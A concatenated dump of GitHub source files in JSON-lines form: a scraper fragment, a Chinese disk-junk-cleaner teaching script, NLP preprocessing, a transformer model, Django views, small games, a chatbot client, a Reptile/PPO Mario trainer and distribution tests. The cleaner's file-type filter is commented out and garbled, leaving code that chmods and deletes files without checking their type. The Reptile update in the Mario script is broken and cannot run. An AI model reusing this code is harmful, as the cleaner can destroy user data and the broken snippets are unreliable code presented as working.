exist_ok=True)\n indices = args.indices.split(',') if args.indices is not None else None\n main(links_scraper, page_scraper, args.batch_size, indices)\n","repo_name":"oKatanaaa/Wikipedia-Scraper","sub_path":"wiki_scraper/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":3079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"1944529825","text":"# 我想大部分人都知道,通常一个程序员会具有的美德。当然了,有三种:懒惰、暴躁、傲慢。\n# 一个人写的烂软件将会给另一个人带来一份全职工作。\n# 一鼓作气,考研是一种忍耐!!!\n\n\n'''\n1.什么叫模块_模块化编程的好处、进入到测试文件夹\n[root@master ~]# cd /opt/software/data/project/p_9/test\n2、在该文件夹新建4个测试文件,分别名为a.tmp, b.log, c.obj, d.txt.\n[root@master test]# touch a.tmp b.log c.obj d.txt\n3、在/project/p_9目录下创建一个名为p_9.py的文件\n[root@master test]# vi /opt/software/data/project/p_9/p_9.py\n4、按i键进入编辑模式,输入以下代码\n修改完成后按Esc键退出编辑模式,输入“:wq”保存退出文档\n5、在p9_1.py文件的相同目录下输入命令:\n[root@master test]# cd /opt/software/data/project/p_9\n[root@master p_9]# python3 ./p_9.py ./test\n6、即可观察到结果\n'''\n\n# -*- coding:utf-8 -*-\nfrom os.path import isdir, join, splitext, getsize\nfrom os import remove, listdir, chmod, stat\nimport sys\n# 指定要删除的文件类型\nfiletypes = ['.tmp', '.log', '.obj', '.txt']\ndef delCertainFiles(directory):\n if not isdir(directory):\n return\n for filename in listdir(directory):\n temp = join(directory, filename)\n if isdir(temp):\n delCertainFiles(temp) # 递归调用\n#? elif splitext(temp)[1.什么叫模块_模块化编程的好处] in filetypes or getsize(temp)==0: # 删除指定类型的文件或大小为 0 的文件\n # 修改文件属性,获取访问权限\n chmod(temp, 0o777)\n # 删除文件\n remove(temp)\n print(temp, ' deleted....')\n\nif __name__ == '__main__':\n paths = sys.argv[1:]\n for path in paths:\n if isdir(path):\n delCertainFiles(path)","repo_name":"FelixG520/Python","sub_path":"python实验27例(詹爷爷)/9.实验九:磁盘垃圾文件清理器/磁盘垃圾文件清理器.py","file_name":"磁盘垃圾文件清理器.py","file_ext":"py","file_size_in_byte":1871,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"23202453760","text":"# pylint: disable=E1101\n\nimport re\nimport os\nimport pickle\nimport pandas as pd\nimport preprocessor as p\n\nimport nltk\nfrom nltk.tokenize import TweetTokenizer\n\n\n# loading stop words from local\n# stop words is pre download from nltk\nwith open(os.getcwd() + '/stopwords.json', 'rb') as f:\n stop_words = pickle.load(f)\ntknzr = TweetTokenizer(reduce_len=True, strip_handles=True)\n\n\ndef clean_text(t):\n \"\"\"\n remove redundant text from tweets\n only return alphbets, numbers, !, and ?\n\n Arguments:\n t {[str]} -- any tweets\n\n Returns:\n t [str] -- clean tweets\n \"\"\"\n p.set_options(\n p.OPT.URL,\n p.OPT.MENTION,\n p.OPT.HASHTAG,\n p.OPT.RESERVED,\n p.OPT.EMOJI,\n p.OPT.SMILEY,\n )\n t = p.clean(t)\n t = re.sub(r\"[\\\\//_,;.:*+\\-\\>\\<)(%^$|~&`'\\\"\\[\\]\\=]+\", '', t)\n t = re.sub(r'[^\\x00-\\x7F]+', ' ', t)\n return t.lower()\n\n\ndef tokenize_text(t, tokenizer=tknzr, stop_words=stop_words):\n \"\"\"\n tokenize preprocessed tweets\n\n Arguments:\n t {[str]} -- clean tweets\n\n Keyword Arguments:\n tokenizer {[nltk tokenizer]} -- one of nltk tokenizer (default: {TweetTokenizer})\n stop_words {[dict]} -- stop words map (default: {stop words})\n\n Returns:\n [list of str] -- ex. ['I', 'am', 'Richard', '!']\n \"\"\"\n tList = [i for i in tokenizer.tokenize(t) if i not in stop_words]\n return tList\n\n\ndef load_embedding(path, max_length_dictionary=10000):\n \"\"\"\n load embedding map \n\n Arguments:\n path {[str]} -- the absolute path of where embedding map is\n\n Keyword Arguments:\n max_length_dictionary {int} -- maximum length of words to be loaded (default: {10000})\n\n Returns:\n [dict] -- embedding map loaded as python dictionary\n \"\"\"\n embeddings_dict = {}\n i = 0\n\n with open(path, 'r') as f:\n for line in f:\n values = line.split()\n if values[0].isalnum():\n embeddings_dict[values[0]] = i\n i += 1\n\n if i == max_length_dictionary:\n break\n\n return embeddings_dict\n\n\ndef replace_token_with_index(tList, embeddingMap):\n \"\"\"\n replace token with index in embedding map\n \n Arguments:\n tList {[list of str]} -- the output from tokenize_text\n embeddingMap {[dict]} -- the output from load_embedding or a self-defined dictionary\n \n Returns:\n [list of int] -- replace the tokens with index, ex. [1, 892, 3, 2467]\n \"\"\" \n tNewList = []\n for t in tList:\n # if t is not in EmbeddingMap continue the loop\n indice = embeddingMap.get(t)\n if not indice:\n continue\n else:\n tNewList.append(indice)\n return tNewList\n\n\ndef pad_sequence(tList, max_length_tweet=10):\n \"\"\"\n construct pad sequence\n \n Arguments:\n tList {[list of int]} -- output from replace_token_with_index\n \n Keyword Arguments:\n max_length_tweet {int} -- the maximum length of tweet (default: {10})\n \n Returns:\n [list of int] -- return pad sequence list\n \"\"\" \n reLength = max_length_tweet - len(tList)\n \n if reLength > 0:\n tList.extend([0] * reLength)\n elif reLength < 0:\n tList = tList[:max_length_tweet]\n \n return tList","repo_name":"mdg1798/AI_cloud","sub_path":"preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":3289,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"14748372999","text":"#############################################\n# Diego Calanzone\n# Research Interest Demonstration\n# University of Trento, Italy\n#############################################\n\nimport math\nimport torch\nfrom torch import nn, Tensor\nfrom torch.nn import TransformerEncoder, TransformerEncoderLayer\n\n# https://pytorch.org/tutorials/beginner/transformer_tutorial.html\nclass EnglishDistinguisher(nn.Module):\n\n def __init__(self, ntoken: int, d_model: int, nhead: int, d_hid: int,\n nlayers: int, dropout: float = 0.5):\n super().__init__()\n\n self.d_model = d_model\n self.linear = nn.Linear(d_hid, 1)\n\n # Embeddings\n self.embedding = nn.Embedding(ntoken, d_model)\n self.pos_encoder = PositionalEncoding(d_model)\n self.seg_encoder = SegmentEmbedding(d_model)\n \n # Attn\n encoder_layers = TransformerEncoderLayer(d_model, nhead, d_hid, dropout)\n self.transformer_encoder = TransformerEncoder(encoder_layers, nlayers)\n\n self.init_weights()\n\n def init_weights(self) -> None:\n initrange = 0.1\n self.embedding.weight.data.uniform_(-initrange, initrange)\n self.linear.bias.data.zero_()\n self.linear.weight.data.uniform_(-initrange, initrange)\n\n def forward(self, src: Tensor, seg_mask:Tensor, attn_mask: Tensor) -> Tensor:\n \"\"\"\n Arguments:\n src: Tensor, shape ``[seq_len, batch_size]``\n src_mask: Tensor, shape ``[seq_len, seq_len]``\n\n Returns:\n output Tensor of shape ``[seq_len, batch_size, ntoken]``\n \"\"\"\n \n src = self.embedding(src) + self.seg_encoder(seg_mask)\n src = torch.transpose(src, 0, 1) # S, N, E\n src = self.pos_encoder(src)\n \n output = self.transformer_encoder(src, src_key_padding_mask=attn_mask)\n output = torch.transpose(output, 0, 1)\n\n return self.linear(output[:, 0]).squeeze(-1) # CLS\n \n\n# https://pytorch.org/tutorials/beginner/transformer_tutorial.html \nclass PositionalEncoding(nn.Module):\n\n def __init__(self, d_model: int, dropout: float = 0.1, max_len: int = 5000):\n super().__init__()\n self.dropout = nn.Dropout(p=dropout)\n\n position = torch.arange(max_len).unsqueeze(1)\n div_term = torch.exp(torch.arange(0, d_model, 2) * (-math.log(10000.0) / d_model))\n pe = torch.zeros(max_len, 1, d_model)\n pe[:, 0, 0::2] = torch.sin(position * div_term)\n pe[:, 0, 1::2] = torch.cos(position * div_term)\n self.register_buffer('pe', pe)\n\n def forward(self, x: Tensor) -> Tensor:\n \"\"\"\n Arguments:\n x: Tensor, shape ``[seq_len, batch_size, embedding_dim]``\n \"\"\"\n x = x + self.pe[:x.size(0)]\n return self.dropout(x)\n \nclass SegmentEmbedding(nn.Embedding):\n def __init__(self, embed_size=512):\n super().__init__(2, embed_size, padding_idx=0) # 0 is the CLS token","repo_name":"halixness/sent_corruption_challenge","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"12648502505","text":"# ================================[-dictionary-]========================================\ngame_boven = {\n \"enen\" : 0,\n \"tween\" :0,\n \"drieen\" : 0,\n \"vieren\" : 0,\n \"vijven\" : 0,\n \"zessen\" : 0\n}\nnaam_speelveld = {}\n\nspeler1_score_blok={\n \"naam\": \"geen\",\n \"game1\": {\n \"enen\" : 0,\n \"tweeen\" : 0,\n \"drieen\" : 0,\n \"vieren\" : 0,\n \"vijven\" : 0, \n \"zessen\" : 0 \n },\n \"game2\": {\n \"enen\" : 0,\n \"tweeen\" : 0,\n \"drieen\" : 0,\n \"vieren\" : 0,\n \"vijven\" : 0, \n \"zessen\" : 0 \n }\n \n}\n\n# =================================[-list-]==============================================\nspeler = []\n\n# ================================[-speler aanmaak-]=====================================\ndef speler_aanmaak():\n vraag_hoeveel_spelers = input(\"met hoeveel personen wilt u spelen ? : \")\n for i in range(0,int(vraag_hoeveel_spelers)):\n speler_naam = input(\"naam van speler \" + str(i + 1) + \" \")\n speler.append(speler_naam)\n \n\n\n\n# =================================[-score vel aanmaak-]===================================\ndef score_vel_aanmaak(): \n for sp in (speler):\n for x in range(1,7):\n global naam_speelveld\n naam_speelveld = sp + \"game\" + str(x)\n naam_speelveld = game_boven.copy()\n \n \ndef print_score_blok():\n for sp in (speler):\n for x in range(1,7):\n naam_speelveld = sp + \"game\" + str(x)\n naam_speelveld = game_boven.copy()\n print(sp + \"game\" + str(x))\n print(naam_speelveld)\n \n\ndef wijzig_score():\n for sp in (speler):\n naam_speelveld= sp + \"game1\"\n dict[naam_speelveld].update({\"enen\" : 2 })\n print_score_blok()\n\n\nspeler_aanmaak()\nscore_vel_aanmaak()\nprint_score_blok()\nwijzig_score()\n\n#car.update({\"color\": \"White\"})\n","repo_name":"bramlenting12345/colections_6","sub_path":"yatzee.py","file_name":"yatzee.py","file_ext":"py","file_size_in_byte":1897,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"35013649337","text":"# external imports\nfrom django.shortcuts import render, get_object_or_404\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom django.http import Http404, HttpResponseNotFound\n\n# internal imports\nfrom ..models import Teacher, Student, SchoolClass, User, Subject, Grade\nfrom ..decorators import allowed_users\nfrom ..utils import get_objects_by_id\n\n\nclass CreateTeacherView(APIView):\n\n @allowed_users(allowed_roles=['headteacher'])\n def post(self, request):\n '''\n provide:\n - user_id,\n - subject_id\n '''\n new_teacher, subject = get_objects_by_id(['user_id', 'subject_id'], request)\n\n # check if get_objects_by_id has succeed\n if not new_teacher:\n return HttpResponseNotFound('Wrong data provided!')\n \n # check if provided user has teacher status\n if new_teacher.user_status != 'teacher':\n return Response({'content': 'That user has not teacher status!'})\n\n try:\n new_teacher = Teacher(user=new_teacher, subject=subject)\n new_teacher.save()\n return Response({'content': True})\n except:\n return Response({'content': 'Unexpected error occurred. Try again!'})\n \nclass CreateStudentView(APIView):\n\n @allowed_users(allowed_roles=['headteacher'])\n def post(self, request):\n '''\n provide:\n - user_id,\n - school_class_id\n '''\n new_student, school_class = get_objects_by_id(['user_id', 'school_class_id'], request)\n\n # check if get_objects_by_id has succeed\n if not new_student:\n return HttpResponseNotFound('Wrong data provided!')\n\n # check if provided user has student status\n if new_student.user_status != 'student':\n return Response({'content': 'That user has not student status!'})\n\n try:\n new_student = Student(user=new_student, school_class=school_class)\n new_student.save()\n return Response({'content': True})\n except:\n return Response({'content': 'Unexpected error occurred. Try again!'})\n\nclass CreateSchoolClassView(APIView):\n\n @allowed_users(allowed_roles=['headteacher'])\n def post(self, request):\n '''\n provide:\n - class_teacher_id,\n - school_class_id\n '''\n class_teacher, school_class_name = get_objects_by_id(['class_teacher_id', 'school_class_id'], request)\n\n if not class_teacher:\n return HttpResponseNotFound('Wrong data provided!')\n\n # check if teacher has not class already\n teacher_classes = class_teacher.schoolclass_set.all()\n if teacher_classes:\n return Response({'content': 'That teacher has class already!'})\n\n\n try:\n new_school_class = SchoolClass(teacher=class_teacher, name=school_class_name)\n new_school_class.save()\n return Response({'content': True})\n except:\n return Response({'content': 'Unexpected error occurred. Try again!'})\n\nclass CreateSubjectView(APIView):\n\n @allowed_users(allowed_roles=['headteacher'])\n def post(self, request):\n '''\n provide:\n - subject_name\n '''\n subject_name = request.data['subject_name']\n\n try:\n new_subject = Subject(name=subject_name)\n new_subject.save()\n return Response({'content': True})\n except:\n return Response({'content': 'Unexpected error occurred. Try again!'})\n\n\nclass CreateGradeView(APIView):\n \n @allowed_users(allowed_roles=['headteacher', 'teacher'])\n def post(self, request):\n '''\n provide:\n - teacher_id,\n - student_id,\n - subject_id,\n - wage,\n - grade\n '''\n teacher, student, subject = get_objects_by_id(['teacher_id', 'student_id', 'subject_id'], request)\n\n if not teacher:\n return HttpResponseNotFound('Wrong data provided!')\n\n wage = request.data['wage']\n grade = request.data['grade']\n\n try:\n new_grade = Grade(teacher=teacher, student=student, subject=subject, wage=int(wage), grade=int(grade))\n new_grade.save()\n return Response({'content': True})\n except:\n return Response({'content': 'Unexpected error occurred. Try again!'})","repo_name":"PitiMonster/PySchool","sub_path":"school_system/school_system/views/views_create.py","file_name":"views_create.py","file_ext":"py","file_size_in_byte":4439,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"19171311288","text":"\nimport socket\nfrom tkinter import *\nimport time\ns = socket.socket()\ns.connect((socket.gethostname(),1235))\n\ndef sendmessage():\n mes=getline()\n content = 'me ' + time.strftime('%Y-%M-%D %H:%M:%S', time.localtime()) + '\\n'\n text_list.insert(END, content, 'sendcolor')\n text_list.insert(END, ' '+mes)\n s.sendall(mes.encode(\"utf-8\"))\n repond=s.recv(2048).decode(\"utf-8\")\n getmessage(repond)\n text_sent.delete('0.0', END)\n\ndef getmessage(repond):\n content = 'chatbot ' + time.strftime('%Y-%M-%D %H:%M:%S', time.localtime()) + '\\n'\n text_list.insert(END, content, 'rescolor')\n text_list.insert(END, repond)\n text_list.see(END)\n\ndef getline():\n mes = text_sent.get('0.0', END)\n return mes\n\ndef enter(event=None):\n sendmessage()\n\n\nroot = Tk()\nroot.title(\"Dr Sesuss\")\nroot.geometry(\"500x500\")\nfrm_output = Frame(root, width=500, height=300)\nfrm_input = Frame(root, width=500, height=150)\nfrm_button = Frame(root, width=500, height=50)\ntext_list = Text(frm_output)\ntext_list.tag_configure('sendcolor', foreground='green')\ntext_list.tag_configure('rescolor', foreground='blue')\ntext_sent = Text(frm_input)\nsend = Button(frm_button, text='Send', font=10, command=sendmessage)\ntext_sent.bind('', enter)\nfrm_output.propagate(0)\nfrm_output.grid(row=0, column=0)\nfrm_input.propagate(0)\nfrm_input.grid(row=1, column=0)\nfrm_button.propagate(0)\nfrm_button.grid(row=2, column=0)\nsend.pack()\ntext_list.pack()\ntext_sent.pack()\nroot.mainloop()","repo_name":"marcus-tam/COSC310_ChatBot","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"14661507450","text":"# Описать с помощью классов кухню в виде диаграммы\n# (приммер https://www.intuit.ru/EDI/23_04_17_1/1492899714-28128/tutorial/356/objects/2/files/02_05.gif).\n# Реализовать наследованием классов мебель, технику, посуду с описанием свойств и методов.\n# Описать все то же с помощью питона.\n#\n#\n#\n# почитать:\n#\n# https://pythonworld.ru/osnovy/obektno-orientirovannoe-programmirovanie-obshhee-predstavlenie.html\n#\n# https://metanit.com/python/tutorial/7.1.php\n#\n\n\n# Задача **\n# Капи��алл-Шоу \"Поле Чудес\"\n# Компьютер загадывает слово.\n# Пользователь пытается его угадать за n попыток\n# Если угадывает - слово появляется в виде s _ o w m _ n\n#\n#\nclass Game:\n def __init__(self, word):\n self.guessed_letters = []\n self.word = word\n\n def play(self):\n for index in range(6):\n dashed_word = \"\"\n\n print(\"Guess a letter\")\n guess = input()\n self.guessed_letters.append(guess)\n\n for char in self.word:\n if char in self.guessed_letters:\n dashed_word += char\n else:\n dashed_word += \"_  \"\n\n print(dashed_word)\n print(self.guessed_letters)\n\n\ngame = Game(\"snowman\")\ngame.play()\n\n\n","repo_name":"IvanShamrikov/COURSES---INTRO-PYTHON","sub_path":"Lesson 7 - OOP, Classes, Objects, Inheritance/Homework_Lesson7.py","file_name":"Homework_Lesson7.py","file_ext":"py","file_size_in_byte":1513,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"40787427671","text":"# -*- coding: utf-8 -*-\n\n\"\"\"Shared constant values.\"\"\"\n\n# Namespaces to look in for cache config.\nCACHE_INI_NAMESPACES = ('mako.cache_args.', 'cache.')\n\n# The key of the Redis set of changed instance identifiers.\nCHANGED_KEY = 'alkey.handle.CHANGED'\n\n# Clear old changed sets an hour after the last flush.\nCHANGED_SET_EXPIRES = 60 * 60 # secs\n\n# The special identifier used to generate the Redis key for the\n# token that's updated whenever any instance is updated or deleted.\nGLOBAL_WRITE_TOKEN = 'alkey:*#*' # I.e.: ``alkey:any-tablename#any-id``.\n\n# Don't cache *anything* longer than one day.\nMAX_CACHE_DURATION = 60 * 60 * 24 # secs\n\n# The Redis key prefix of the instance tokens.\nTOKEN_NAMESPACE = 'alkey.cache.TOKENS'\n","repo_name":"thruflo/alkey","sub_path":"src/alkey/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"54"} +{"seq_id":"10114089358","text":"import gym\nimport numpy as np\nfrom stable_baselines3 import PPO\nfrom stable_baselines3.common.envs import DummyVecEnv\nfrom stable_baselines3.common.vec_env import VecFrameStack\n\n# Define hyperparameters\ntotal_episodes = 1000\nmax_steps_per_episode = 10000\nnum_inner_iterations = 5 # Number of inner loop iterations for Reptile\n\n# Create the Super Mario Bros environment\nenv = gym.make('SuperMarioBros-1-1-v0')\nenv = DummyVecEnv([lambda: env]) # Wrap the environment in a vectorized form\nenv = VecFrameStack(env, n_stack=4) # Stack 4 consecutive frames as input\n\n# Initialize the base model\nbase_model = PPO('CnnPolicy', env)\n\n# Training loop\nfor episode in range(total_episodes):\n state = env.reset() # Reset the environment for a new episode\n\n # Perform task-specific training using Reptile\n for inner_iteration in range(num_inner_iterations):\n for step in range(max_steps_per_episode):\n action, _ = base_model.predict(state) # Action selection using the base model\n\n next_state, reward, done, _ = env.step(action) # Execute the action\n\n # Perform Reptile's update step\n alpha = (inner_iteration + 1) / num_inner_iterations\n updated_params = (1 - alpha) * base_model.policy.parameters() + alpha * base_model.policy.get_params()\n\n base_model.policy.set_params(updated_params) # Update the base model's parameters\n\n state = next_state\n\n if done or step == max_steps_per_episode - 1:\n break\n\n # Save the base model's weights after each episode\n base_model.save(f'reptile_model_{episode}.zip')\n\n# Close the environment\nenv.close()\n","repo_name":"s4nyam/RAMario","sub_path":"Proposed RAMario/ramario.py","file_name":"ramario.py","file_ext":"py","file_size_in_byte":1659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"22863446638","text":"from __future__ import annotations\n\nimport pathlib\n\nfrom aoc.common.decorators import timeit\nfrom aoc.common.storage import get_data_path, get_lines\n\nDATA_PATH = get_data_path(__file__)\n\n\ndef convert(number: int, maps: tuple[tuple[int, int, int], ...]) -> int:\n for destination, source, range_length in maps:\n if number in range(source, source + range_length):\n return destination + number - source\n return number\n\n\ndef step(ranges: set[tuple[int, int]], maps: list[tuple[int, int, int], ...]) -> set[tuple[int, int]]:\n out_ranges = set()\n\n for destination, source_lower, source_upper in maps:\n new_ranges = set()\n while ranges:\n lower, upper = ranges.pop()\n left_chunk_lower = lower\n left_chunk_upper = min(source_lower, upper)\n middle_chunk_lower = max(lower, source_lower)\n middle_chunk_upper = min(upper, source_upper)\n right_chunk_lower = max(lower, source_upper)\n right_chunk_upper = upper\n\n if left_chunk_lower < left_chunk_upper:\n new_ranges.add((left_chunk_lower, left_chunk_upper))\n if right_chunk_lower < right_chunk_upper:\n new_ranges.add((right_chunk_lower, right_chunk_upper))\n if middle_chunk_lower < middle_chunk_upper:\n out_ranges.add(\n (destination + middle_chunk_lower - source_lower, destination + middle_chunk_upper - source_lower)\n )\n\n ranges = new_ranges\n\n return out_ranges | ranges\n\n\n@timeit\ndef go(path: pathlib.Path = DATA_PATH) -> int:\n lines = get_lines(path)\n lines.append(\"\")\n\n seeds = map(int, lines.pop(0).split(\":\")[1].strip().split())\n seed_ranges = set(map(lambda x: (x[0], x[0] + x[1]), zip(seeds, seeds)))\n\n lines.pop(0)\n\n maps = []\n current_map = []\n\n for line in lines:\n if \":\" in line:\n continue\n\n if not line:\n maps.append(current_map)\n current_map = []\n else:\n destination, source, range_length = line.split()\n current_map.append((int(destination), int(source), int(source) + int(range_length)))\n\n for current_map in maps:\n seed_ranges = step(seed_ranges, current_map)\n return min(seed_ranges)[0]\n\n\nif __name__ == \"__main__\":\n go()\n","repo_name":"MoeFourtyTwo/advent-of-code-2022","sub_path":"aoc/tasks/year_2023/day_05/part_2.py","file_name":"part_2.py","file_ext":"py","file_size_in_byte":2334,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"28217132990","text":"#encoding=utf-8 \nimport sys\nimport gpio\nimport RPi.GPIO as GPIO\n\ndef LED():\n\tpin = gpio.GPIO_PIN_LED\n\ton_off = sys.argv[1]\n\tlevel = {\"on\":GPIO.HIGH,\"off\":GPIO.LOW}\n\n\n\tGPIO.setmode(GPIO.BOARD)\t#设置引脚的编码格式\n\tGPIO.setwarnings(False)\t#设置不提示警告信息\n\n\tGPIO.setup(pin,GPIO.OUT)\t\t#设置引脚为输出\n\tGPIO.output(pin,level[on_off])\t\t#将引脚置为高或低电平\n\t\n\treturn\n\nif __name__ == \"__main__\":\n\tLED()\n","repo_name":"Makero/piSys","sub_path":"pi-command/led.py","file_name":"led.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"27344790203","text":"from time import time\n\n\nclass Solution:\n def numberOfArithmeticSlices(self, nums: list[int]) -> int:\n result = 0\n if len(nums) < 3:\n return result\n slices = [0, 0]\n delta = 1\n for i in range(2, len(nums)):\n slices.append(slices[i-1] + delta)\n delta += 1\n last_delta = nums[1] - nums[0]\n nums_in_row = 2\n for i in range(2, len(nums)):\n cur_delta = nums[i] - nums[i-1]\n if cur_delta == last_delta:\n nums_in_row += 1\n else:\n result += slices[nums_in_row - 1]\n nums_in_row = 2\n last_delta = cur_delta\n result += slices[nums_in_row - 1]\n return result\n\n # from LC comments\n #\n # dp = 0\n # total = 0\n # for i in range(2, len(nums)):\n # if nums[i]-nums[i-1] == nums[i-1]-nums[i-2]:\n # dp += 1\n # total += dp\n # else:\n # dp = 0\n # return total\n\n\nstart_time = time()\n\n_nums = [1,2,4,6,5]\n# Output: 3\n# Explanation: We have 3 arithmetic slices in nums: [1, 2, 3], [2, 3, 4] and [1,2,3,4] itself.\n\nprint(Solution().numberOfArithmeticSlices(_nums))\n\nprint(\"--- %s seconds ---\" % (time() - start_time))\n","repo_name":"Sadomtsevvs/Leetcode","sub_path":"413. Arithmetic Slices.py","file_name":"413. Arithmetic Slices.py","file_ext":"py","file_size_in_byte":1298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"31611907616","text":"import pytest\nimport jax.numpy as jnp\nimport jax.random as jr\nfrom jax import tree_map\nfrom jax.scipy.stats import norm\nfrom scipy.stats import invgamma\nfrom tensorflow_probability.substrates import jax as tfp\n\nfrom dynamax.utils.distributions import InverseWishart\nfrom dynamax.utils.distributions import MatrixNormalInverseWishart\nfrom dynamax.utils.distributions import MatrixNormalPrecision\nfrom dynamax.utils.distributions import NormalInverseGamma\nfrom dynamax.utils.distributions import NormalInverseWishart\n\ntfd = tfp.distributions\ntfb = tfp.bijectors\n\n\ndef test_inverse_wishart_mode(df=7.0, dim=3, scale_factor=3.0):\n scale = scale_factor * jnp.eye(dim)\n iw = InverseWishart(df, scale)\n assert jnp.allclose(iw.mode(), scale / (df + dim + 1))\n\n\ndef test_inverse_wishart_log_prob(df=7.0, dim=3, scale_factor=3.0, n_samples=10):\n scale = scale_factor * jnp.eye(dim)\n iw = InverseWishart(df, scale)\n samples = iw.sample(seed=jr.PRNGKey(0), sample_shape=(n_samples,))\n assert samples.shape == (n_samples, dim, dim)\n lps = iw.log_prob(samples)\n assert lps.shape == (n_samples,)\n assert jnp.all(jnp.isfinite(lps))\n\n\ndef test_inverse_wishart_sample(df=7.0, dim=3, scale_factor=3.0, n_samples=10000, num_std=6):\n \"\"\"Test that the sample mean is within a (large) interval around the true mean.\n To determine the interval to 6 times the standard deviation of the Monte\n Carlo estimator.\n\n Note: This also tests the variance implementation indirectly. If there's a bug in\n variance it will affect the MC error.\n \"\"\"\n scale = scale_factor * jnp.eye(dim)\n iw = InverseWishart(df, scale)\n samples = iw.sample(seed=jr.PRNGKey(0), sample_shape=(n_samples,))\n assert samples.shape == (n_samples, dim, dim)\n\n mc_std = jnp.sqrt(iw.variance() / n_samples)\n assert jnp.allclose(samples.mean(axis=0), iw.mean(), atol=num_std * mc_std)\n\n\ndef test_normal_inverse_wishart_mode(loc=0., mean_conc=1.0, df=7.0, dim=3, scale_factor=3.0):\n loc = loc * jnp.ones(dim)\n scale = scale_factor * jnp.eye(dim)\n niw = NormalInverseWishart(loc, mean_conc, df, scale)\n Sigma, mu = niw.mode()\n assert jnp.allclose(mu, loc)\n assert jnp.allclose(Sigma, scale / (df + dim + 2))\n\n\ndef test_normal_inverse_wishart_mode_batch(loc=0., mean_conc=1.0, df=7.0, dim=3, scale_factor=3.0, batch_size=10):\n loc = loc * jnp.ones(dim)\n scale = scale_factor * jnp.eye(dim)\n niw = NormalInverseWishart(loc[None, ...].repeat(batch_size, axis=0), mean_conc, df, scale[None,\n ...].repeat(batch_size,\n axis=0))\n Sigma, mu = niw.mode()\n assert Sigma.shape == (batch_size, dim, dim)\n assert mu.shape == (batch_size, dim)\n assert jnp.allclose(mu, loc)\n assert jnp.allclose(Sigma, scale / (df + dim + 2))\n\n\ndef test_normal_inverse_wishart_log_prob(loc=0., mean_conc=1.0, df=7.0, dim=3, scale_factor=3.0, n_samples=10):\n loc = loc * jnp.ones(dim)\n scale = scale_factor * jnp.eye(dim)\n niw = NormalInverseWishart(loc, mean_conc, df, scale)\n Sigma_samples, mu_samples = niw.sample(seed=jr.PRNGKey(0), sample_shape=(n_samples,))\n assert mu_samples.shape == (n_samples, dim)\n assert Sigma_samples.shape == (n_samples, dim, dim)\n lps = niw.log_prob((Sigma_samples, mu_samples))\n assert lps.shape == (n_samples,)\n assert jnp.all(jnp.isfinite(lps))\n\n\ndef test_matrix_normal_log_prob(loc=jnp.ones((2, 3)), row_cov=jnp.eye(2), col_precision=jnp.eye(3), n_samples=2):\n \"\"\"\n Evaluate the MN log prob using scipy.stats functions\n \"\"\"\n from scipy.stats import matrix_normal\n\n mn = MatrixNormalPrecision(loc, row_cov, col_precision)\n mn_samples = mn.sample(seed=jr.PRNGKey(0), sample_shape=n_samples)\n mn_probs = mn.prob(mn_samples)\n mn_log_probs = mn.log_prob(mn_samples)\n lps = matrix_normal.logpdf(mn_samples, mean=loc, rowcov=row_cov, colcov=jnp.linalg.inv(col_precision))\n assert jnp.allclose(jnp.array(mn_log_probs), lps)\n assert jnp.allclose(jnp.array(mn_probs), jnp.exp(lps))\n\n\ndef test_matrix_normal_inverse_wishart_log_prob(\n loc=jnp.ones((2, 3)), col_precision=jnp.eye(3), df=3, scale=jnp.eye(2), n_samples=2):\n \"\"\"\n Evaluate the MNIW log prob using scipy.stats functions\n \"\"\"\n from scipy.stats import invwishart\n from scipy.stats import matrix_normal\n\n mniw = MatrixNormalInverseWishart(loc, col_precision, df, scale)\n Sigma_samples, Matrix_samples = mniw.sample(seed=jr.PRNGKey(0), sample_shape=n_samples)\n mniw_probs = mniw.prob((Sigma_samples, Matrix_samples))\n mniw_log_probs = mniw.log_prob((Sigma_samples, Matrix_samples))\n\n lp_iw = invwishart.logpdf(jnp.transpose(Sigma_samples, (1, 2, 0)), df, scale)\n lp_mn = jnp.array([matrix_normal.logpdf(m, loc, sigma, jnp.linalg.inv(col_precision)) \\\n for m, sigma in zip(Matrix_samples, Sigma_samples)])\n\n assert jnp.allclose(mniw_log_probs, lp_iw + lp_mn)\n assert jnp.allclose(mniw_probs, jnp.exp(lp_iw + lp_mn))\n\n\ndef test_normal_inverse_gamma_vs_normal_inv_wishart(\n key=jr.PRNGKey(0), loc=0.0, mean_conc=1.0, concentration=7.0, scale=3.0):\n\n nig = NormalInverseGamma(loc, mean_conc, concentration, scale)\n\n loc = loc * jnp.ones((1, 1))\n scale = scale * jnp.ones((1, 1))\n niw = NormalInverseWishart(loc, mean_conc, 2 * concentration, 2 * scale)\n\n niw_sigma_samples, niw_mu_samples = niw.sample(seed=key, sample_shape=(1,))\n\n nig_log_probs = nig.log_prob((jnp.squeeze(niw_sigma_samples, axis=-1), niw_mu_samples))\n nig_probs = 